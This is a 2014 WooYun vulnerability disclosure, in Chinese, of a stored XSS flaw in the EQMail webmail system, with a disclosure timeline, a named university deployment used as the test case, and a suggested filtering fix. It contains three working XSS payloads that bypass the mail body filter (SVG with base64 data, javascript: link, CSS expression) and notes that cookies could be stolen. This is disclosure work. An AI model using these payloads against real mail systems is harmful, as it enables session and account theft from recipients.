[公开漏洞]EQMail电子邮件系统存储型XSS漏洞（涉及多所大学，知名企业以及政府部门） - 漏洞预警

EQMail电子邮件系统存储型XSS漏洞（涉及多所大学，知名企业以及政府部门）相关厂商： eqmail.net 漏洞作者：mramydnei 提交时间：2014-02-22 12:55 公开时间：2014-05-23 12:56 漏洞类型：xss跨站脚本攻击危害等级：中自评Rank：10 漏洞状态：已交由第三方厂商(cncert国家互联网应急中心)处理漏洞来源：http://www.wooyun.org Tags标签：存储型xss 漏洞详情披露状态：

2014-02-22：细节已通知厂商并且等待厂商处理中
2014-02-27：厂商已经确认，细节仅向厂商公开
2014-03-02：细节向第三方安全合作伙伴开放
2014-03-09：细节向核心白帽子及相关领域专家公开
2014-03-19：细节向普通白帽子公开
2014-04-08：细节向实习白帽子公开
2014-05-23：细节向公众公开

简要描述：

对邮件正文的过滤不严格导致恶意XSS代码植入

详细说明：

正在使用这套邮件系统的网站应该都会受到影响，受影响单位包括但不限于：

http://www.eqmail.net/kehu.html

下面以正在使用这套邮件系统的西安交通大学的为例，提供详细测试步骤：

http://stu.xjtu.edu.cn/

点击写信后，填写目标用户邮箱以及邮件标题，开启firefox插件tamper data进行抓包。（邮件内容可不填写）。在点击发送后，在tamper data抓到的包当中修改下图中messagehtml的值

为(这里以一个只在firefox下有效的方法为例，后面会附上其它方法)：

%3Csvg%3E

%3Cuse%0cxlink:href="data:image/svg%2bxml;base64,

PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cD

ovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhs

aW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW

5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI%2b

PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg0KIDxmb3

JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0i

NTAiDQogICAgICAgICAgICAgICAgICAgcmVxdWlyZW

RFeHRlbnNpb25zPSJodHRwOi8vd3d3LnczLm9yZy8x

OTk5L3hodG1sIj4NCgk8ZW1iZWQgeG1sbnM9Imh0dH

A6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHNyYz0i

amF2YXNjcmlwdDphbGVydChsb2NhdGlvbikiIC8%2bDQ

ogICAgPC9mb3JlaWduT2JqZWN0Pg0KPC9zdmc%2b#rectangle"%0c/%3E%3C/svg%3E

并完成邮件发送，当目标用户打开邮件时，即可触发。实际测试当中可窃取目标用户的cookies。

由于邮件系统对event handler做了比较完善的过滤处理，所以对于其它浏览器环境只能提供一些需要用户交互的方法，测试步骤和上面的相同只需将htmlmesage的内容替换为下面的值

方法2 测试于IE10,11 firefox27 chrome33

%3Csvg%3E%3Ca%0cxlink:href="javascript:alert(56)"%3E%3Crect%0cwidth="100%"%0cheight="100%"%0cfill="black"/%3E%3C/a%3E%3C/svg%3E

当目标用户点击邮件中黑色的部分，即可触发XSS。实际攻击过程当中可以对点击区域的部分进行适当的调节，来提高命中率。

方法3 测试于IE6，7，8，9

%3Cdiv%0cstyle="z:expression(alert(1))"%3E

用户后查看邮件后触发，无须用户交互

漏洞证明：

修复方案：

对于邮件正文中可能出现的恶业代码进行针对性过滤。

危害等级：高

漏洞Rank：12

确认时间：2014-02-27 08:30

厂商回复：